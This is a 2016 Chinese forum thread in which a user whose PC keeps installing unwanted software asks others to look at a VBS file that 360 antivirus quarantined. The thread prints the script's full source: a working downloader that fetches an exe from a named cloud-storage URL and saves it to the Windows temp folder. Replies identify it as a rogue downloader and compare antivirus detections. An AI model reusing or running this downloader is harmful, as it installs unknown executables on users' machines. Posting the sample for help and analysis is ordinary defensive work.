电脑自动下载安装软件，360杀了一个vbs的文件，哪位大神看看

显示全部楼层 · 发表于 2016-4-12 22:15:41

VBS里的文件代码：
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://kfdown.oss-cn-hangzhou.aliyuncs.com/1.exe",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "C:\Windows\Temp\fuladdala.exe",2

显示全部楼层 · 发表于 2016-4-12 22:28:05

软件应该就是这个vbs下载下来的

显示全部楼层 · 发表于 2016-4-12 23:01:31

流氓下载器

显示全部楼层 · 发表于 2016-4-13 10:04:10

skyboybone 发表于 2016-4-12 22:28
软件应该就是这个vbs下载下来的

不知道这个vbs文件从哪里跑到我电脑了

显示全部楼层 · 发表于 2016-4-13 11:49:40

安装了好多软件

显示全部楼层 · 发表于 2016-4-13 14:52:38

样本如下

微软
MISS

显示全部楼层 · 发表于 2016-4-13 15:43:53

轩夏发表于 2016-4-13 14:52
样本如下

360 QVM 拉黑

显示全部楼层 · 发表于 2016-4-21 09:11:53

ESS直接报

[可疑文件] 电脑自动下载安装软件，360杀了一个vbs的文件，哪位大神看看

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源